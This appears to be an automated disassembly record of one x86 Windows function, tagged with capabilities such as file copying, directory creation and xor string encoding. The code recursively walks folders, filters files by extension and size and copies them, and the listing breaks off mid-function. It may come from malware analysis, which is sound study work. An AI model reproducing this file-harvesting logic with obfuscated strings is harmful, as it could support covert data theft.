Function at 0x459870
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x524e7a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x360
push esi
push edi
mov dword [ebp - 0xcc], edx
mov byte [ebp - 0xe], cl
mov dword [ebp - 4], 3
mov eax, dword [0x558648]
test al, 1
jne 0x4598f4
or eax, 1
mov dword [0x558648], eax
mov byte [ebp - 4], 4
push 0x2c
mov dword [0x558640], 0
mov dword [0x558644], 0
call fcn.004f7990
push 0x529770
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [0x558640], eax
call fcn.004f7bfc
add esp, 8
mov byte [ebp - 4], 3
cmp dword [ebp + 0x34], 0x10
lea edx, [ebp + 0x20]
jb 0x459904
mov edx, dword [ebp + 0x20]
test edx, edx
je 0x459947
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459910
sub ecx, esi
je 0x459947
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x459941
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x459941
cmp eax, 0x20
je 0x459941
cmp eax, 0x45
je 0x459941
cmp eax, 0x24
jne 0x459947
mov byte [ebp - 0xd], 1
jmp 0x45994b
mov byte [ebp - 0xd], 0
xor eax, eax
mov dword [ebp - 0x6c], eax
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.0048b110
mov esi, dword [ebp - 0x78]
cmp byte [esi + 0xd], 0
jne 0x4599a9
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
mov edx, dword [eax + 0x10]
jb 0x459974
mov eax, dword [eax]
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
push edx
cmovae ecx, dword [ebp + 0x20]
mov edx, dword [ebp + 0x30]
push eax
call fcn.00485070
shr eax, 0x1f
add esp, 8
test al, al
jne 0x4599a9
cmp esi, dword [0x558640]
je 0x4599a9
lea eax, [ebp + 0x20]
push eax
call fcn.0047c990
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
cmp byte [ebp - 0xe], 0
je 0x459e99
mov eax, dword [ebp + 0x38]
cmp dword [eax], 0xa00000
jae 0x45ae1e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0047faa0
push 0
mov dl, 1
lea ecx, [ebp - 0x80]
call fcn.004259f0
add esp, 0x1c
xor ecx, ecx
mov byte [ebp - 4], 5
mov esi, dword [ebp - 0x80]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x7c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x459e8d
xor edi, edi
mov dword [ebp - 0x70], edi
nop dword [eax]
mov eax, dword [ebp + 0x38]
cmp dword [eax], 0xa00000
jae 0x459e8d
sub esp, 0x18
lea eax, [edi + esi]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0047faa0
sub esp, 0xc
mov byte [ebp - 4], 6
lea eax, [ebp + 0x3c]
mov ecx, esp
push eax
call fcn.0047e860
mov byte [ebp - 4], 5
call fcn.00459620
add esp, 0x24
test al, al
jne 0x459e62
cmp byte [ebp - 0xd], al
jne 0x459a73
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0xd], 1
add edi, dword [ebp - 0x80]
xorps xmm0, xmm0
mov byte [ebp - 0x8a], 0xb7
xor ecx, ecx
movq qword [ebp - 0x89], xmm0
mov byte [ebp - 0x81], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 1
jb 0x459a91
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x8a]
mov byte [ebp - 0x89], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459ad0
sub ecx, edx
lea eax, [ebp - 0x8a]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402b20
mov byte [ebp - 4], 7
lea edx, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
cmovae edx, dword [ebp - 0x30]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459b00
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp + 0x30]
sub eax, esi
cmp eax, ecx
jb 0x45afbf
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ecx
cmovae eax, dword [ebp + 0x20]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x50]
call fcn.00487550
push edi
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 8
call fcn.0047f840
mov dword [ebp - 0xd4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x459bc1
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459bb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x459c0b
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459c01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0xd0], 0x10
lea eax, [ebp - 0xe4]
push 0
cmovae eax, dword [ebp - 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [ebp - 0x80]
xorps xmm0, xmm0
mov edi, dword [ebp - 0x70]
add eax, edi
mov dword [ebp - 0xb0], eax
xor ecx, ecx
mov byte [ebp - 0x94], 0xb7
movq qword [ebp - 0x93], xmm0
mov byte [ebp - 0x8b], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 1
jb 0x459c51
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x93], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459c90
sub ecx, edx
lea eax, [ebp - 0x94]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402b20
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
cmovae edx, dword [ebp - 0x30]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459cc0
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp + 0x18]
sub eax, esi
cmp eax, ecx
jb 0x45afbf
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x68]
call fcn.00487550
sub esp, 0xc
mov byte [ebp - 4], 0xd
lea eax, [ebp + 0x48]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0047e860
sub esp, 0xc
mov byte [ebp - 4], 0xe
lea eax, [ebp + 0x3c]
mov dword [ebp - 0x38], esp
mov ecx, esp
push eax
call fcn.0047e860
push dword [ebp + 0x38]
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0xe4]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74], esp
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x10
mov esi, esp
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x34], esi
push dword [ebp - 0xb0]
call fcn.0047f840
mov edx, dword [ebp - 0xcc]
xorps xmm0, xmm0
mov cl, byte [ebp - 0xe]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xd
call fcn.00459870
add dword [ebp - 0x6c], eax
add esp, 0x4c
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x459dda
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459dd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp ecx, 0x10
jb 0x459e24
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459e1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x459e62
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459e58
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x7c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x80]
add edi, 0x18
inc dword [ebp - 0x18]
sub ecx, esi
imul ecx
mov dword [ebp - 0x70], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x18], eax
jb 0x459a10
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 3
call fcn.00481d80
mov eax, dword [ebp + 0x38]
cmp dword [eax], 0xa00000
jae 0x45ae1e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0047faa0
push 0
xor dl, dl
lea ecx, [ebp - 0x80]
call fcn.004259f0
add esp, 0x1c
mov byte [ebp - 4], 0x11
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x7c]
xor edi, edi
mov esi, dword [ebp - 0x80]
sub ecx, esi
imul ecx
mov dword [ebp - 0xb0], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45ae12
mov eax, dword [ebp + 0x38]
cmp dword [eax], 0xa00000
jae 0x45ae12
lea edi, [edi + edi*2]
sub esp, 0x18
shl edi, 3
mov ecx, esp
mov dword [ebp - 0x14], esp
lea eax, [edi + esi]
push eax
call fcn.0047faa0
sub esp, 0xc
mov byte [ebp - 4], 0x12
lea eax, [ebp + 0x3c]
mov ecx, esp
push eax
call fcn.0047e860
mov byte [ebp - 4], 0x11
call fcn.00459620
add esp, 0x24
test al, al
jne 0x45ade4
mov eax, dword [ebp - 0x80]
xorps xmm0, xmm0
add eax, edi
mov byte [ebp - 0x94], 0xb7
mov dword [ebp - 0x18], eax
xor ecx, ecx
movq qword [ebp - 0x93], xmm0
mov byte [ebp - 0x8b], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 1
jb 0x459f60
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x94]
mov byte [ebp - 0x93], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459fa0
sub ecx, edx
lea eax, [ebp - 0x94]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402b20
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
cmovae esi, dword [ebp - 0x30]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459fd0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x45afbf
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ecx
cmovae eax, dword [ebp + 0x20]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x50]
call fcn.00487550
push dword [ebp - 0x18]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x14
call fcn.0047f840
mov dword [ebp - 0xb8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x45a093
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a089
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x45a0dd
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a0d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp + 0x4c]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp + 0x48]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45a130
sub esp, 0x18
lea eax, [ebp - 0xc8]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0047faa0
sub esp, 0xc
mov byte [ebp - 4], 0x18
lea eax, [ebp + 0x48]
mov ecx, esp
push eax
call fcn.0047e860
mov byte [ebp - 4], 0x17
call fcn.004596d0
add esp, 0x24
test al, al
je 0x45ada6
add edi, dword [ebp - 0x80]
xorps xmm0, xmm0
mov byte [ebp - 0x8a], 0xb7
xor ecx, ecx
movq qword [ebp - 0x89], xmm0
mov byte [ebp - 0x81], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 1
jb 0x45a150
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x8a]
mov byte [ebp - 0x89], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45a190
sub ecx, edx
lea eax, [ebp - 0x8a]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402b20
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
cmovae edx, dword [ebp - 0x30]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45a1c0
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp + 0x18]
sub eax, esi
cmp eax, ecx
jb 0x45afbf
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x68]
call fcn.00487550
push edi
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x1a
call fcn.0047f840
mov dword [ebp - 0x9c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x98], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xac], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x9c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x45a281
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a277
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x45a2cb
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a2c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0xac]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c030
add esp, 0x18
mov dword [ebp - 0x18], eax
test eax, eax
je 0x45ad4d
cmp eax, dword [ebp - 0xcc]
ja 0x45ad4d
cmp byte [ebp - 0xd], 0
jne 0x45a319
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0xd], 1
xorps xmm0, xmm0
mov dword [ebp - 0xf1], 0x858380c5
movq qword [ebp - 0xed], xmm0
xor ecx, ecx
mov byte [ebp - 0xe5], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xf1], al
inc ecx
cmp ecx, 4
jb 0x45a340
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xf1]
mov byte [ebp - 0xed], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45a380
sub ecx, edx
lea eax, [ebp - 0xf1]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea edi, [ebp - 0x50]
mov esi, dword [ebp - 0x50]
cmovae edi, esi
setae byte [ebp - 0xe]
mov edx, edi
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x45a3b0
sub edx, ecx
cmp dword [ebp - 0x98], 0x10
push edx
lea ecx, [ebp - 0xac]
cmovae ecx, dword [ebp - 0xac]
push edi
mov edi, dword [ebp - 0x9c]
mov edx, edi
push ecx
call fcn.00485160
add esp, 0xc
mov dword [ebp - 0x34], eax
cmp byte [ebp - 0xe], 0
je 0x45a41e
mov ecx, dword [ebp - 0x3c]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x45a40b
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push esi
call fcn.004f7c11
mov edi, dword [ebp - 0x9c]
add esp, 8
mov eax, dword [ebp - 0x34]
cmp eax, 0xffffffff
je 0x45ad0c
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 0xf
mov word [ebp - 0x50], 0x2f
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xac]
cmp dword [ebp - 0x98], 0x10
lea esi, [ebp - 0x50]
cmovae ecx, dword [ebp - 0xac]
mov dword [ebp - 0x38], ecx
cmp edi, 1
jb 0x45a4ed
movsx edx, byte [esi]
lea eax, [edi + ecx]
mov dword [ebp - 0x34], eax
sub eax, ecx
push eax
push edx
push ecx
mov dword [ebp - 0x74], edx
call fcn.004fb3e0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x45a4ed
nop word [eax + eax]
mov al, byte [edi]
cmp al, byte [esi]
je 0x45a4ad
sbb eax, eax
or eax, 1
jmp 0x45a4af
xor eax, eax
test eax, eax
je 0x45a4d1
mov eax, dword [ebp - 0x34]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x74]
push edi
call fcn.004fb3e0
mov edi, eax
lea esi, [ebp - 0x50]
add esp, 0xc
test edi, edi
jne 0x45a4a0
jmp 0x45a4ed
sub edi, dword [ebp - 0x38]
cmp edi, 0xffffffff
je 0x45a4ed
push 0
lea eax, [ebp - 0x30]
push eax
push 1
push edi
lea ecx, [ebp - 0xac]
call fcn.004822c0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x45a525
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a51b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45afc4
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x98], 0x10
lea eax, [ebp - 0xac]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmovae eax, dword [ebp - 0xac]
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0x4e3
call edi
mov esi, eax
xorps xmm0, xmm0
xor eax, eax
test esi, esi
jle 0x45a5c1
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], 7
mov word [ebp - 0x68], ax
push eax
push esi
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x20
call fcn.00482120
cmp dword [ebp - 0x54], 8
lea ecx, [ebp - 0x68]
push esi
cmovae ecx, dword [ebp - 0x68]
lea eax, [ebp - 0xac]
cmp dword [ebp - 0x98], 0x10
push ecx
cmovae eax, dword [ebp - 0xac]
push 0xffffffffffffffff
push eax
push 0
push 0x4e3
call edi
movups xmm0, xmmword [ebp - 0x68]
movups xmmword [ebp - 0x128], xmm0
movq xmm0, qword [ebp - 0x58]
movq qword [ebp - 0x118], xmm0
jmp 0x45a5e3
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 7
mov word [ebp - 0x128], ax
push 0x104
lea eax, [ebp - 0x22c]
mov byte [ebp - 4], 0x21
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x45a619
cmp eax, 1
je 0x45a619
cmp eax, 0x80010106
jne 0x45a6af
lea eax, [ebp - 0x70]
push eax
push 0x52a4e0
push 1
push 0
push 0x52a510
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x45a6a9
mov ecx, dword [ebp - 0x70]
lea edx, [ebp - 0x110]
push edx
push 0x52a4f0
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x45a6a0
mov edx, dword [ebp - 0x110]
cmp dword [ebp - 0x114], 8
push 0
mov eax, dword [edx]
mov ecx, dword [eax + 0x14]
lea eax, [ebp - 0x128]
cmovae eax, dword [ebp - 0x128]
push eax
push edx
call ecx
test eax, eax
js 0x45a694
mov ecx, dword [ebp - 0x70]
lea edx, [ebp - 0x36c]
push 2
push edx
push 0x104
mov eax, dword [ecx]
lea edx, [ebp - 0x22c]
push edx
push ecx
call dword [eax + 0xc]
mov eax, dword [ebp - 0x110]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45a6d6
sub ecx, edx
lea eax, [ebp - 0x22c]
push ecx
push eax
lea ecx, [ebp - 0xe4]
call fcn.00402b20
lea ecx, [ebp - 0x128]
call fcn.00481fb0
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0xd4]
test ecx, ecx
je 0x45acbb
cmp dword [ebp - 0xd0], 0x10
lea eax, [ebp - 0xe4]
push ecx
cmovae eax, dword [ebp - 0xe4]
lea ecx, [ebp - 0xac]
push eax
call fcn.0047f6a0
cmp dword [ebp - 0xd0], 0x10
lea eax, [ebp - 0xe4]
cmovae eax, dword [ebp - 0xe4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov esi, eax
test esi, esi
je 0x45ac9e
mov edx, esi
lea ecx, [edx + 1]
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x45a760
sub edx, ecx
cmp dword [ebp - 0xb4], 0x10
push edx
mov edx, dword [ebp - 0xb8]
lea ecx, [ebp - 0xc8]
cmovae ecx, dword [ebp - 0xc8]
push esi
push 0
call fcn.004851f0
add esp, 0xc
xorps xmm0, xmm0
cmp eax, 0xffffffff
je 0x45a9f7
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0xfe], 0x858380c5
movq qword [ebp - 0xfa], xmm0
mov byte [ebp - 0xf2], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xfe], al
inc ecx
cmp ecx, 4
jb 0x45a7d0
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xfe]
mov byte [ebp - 0xfa], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45a810
sub ecx, edx
lea eax, [ebp - 0xfe]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402b20
mov byte [ebp - 4], 0x24
lea edx, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
cmovae edx, dword [ebp - 0x30]
mov ecx, edx
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45a852
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x68]
call fcn.00402b20
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x68]
cmp dword [ebp - 0x54], 0x10
lea edx, [ebp - 0xc8]
mov edi, dword [ebp - 0x68]
mov esi, dword [ebp - 0x58]
cmovae ecx, edi
mov eax, dword [ebp - 0xb8]
setae byte [ebp - 0xe]
cmp dword [ebp - 0xb4], 0x10
mov dword [ebp - 0x18], edi
cmovae edx, dword [ebp - 0xc8]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x14], edx
cmp esi, eax
ja 0x45a971
sub eax, esi
test esi, esi
jne 0x45a8b5
xor edi, edi
jmp 0x45a95b
movsx ecx, byte [ecx]
inc eax
add eax, edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x74], eax
sub eax, edx
push eax
push ecx
push edx
call fcn.004fb3e0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x45a96e
mov edx, dword [ebp - 0x38]
mov ecx, edi
sub esi, 4
jb 0x45a8f3
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x45a8f8
add ecx, 4
add edx, 4
sub esi, 4
jae 0x45a8e2
cmp esi, 0xfffffffc
je 0x45a92c
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x45a925
cmp esi, 0xfffffffd
je 0x45a92c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x45a925
cmp esi, 0xfffffffe
je 0x45a92c
mov al, byte [ecx + 2]
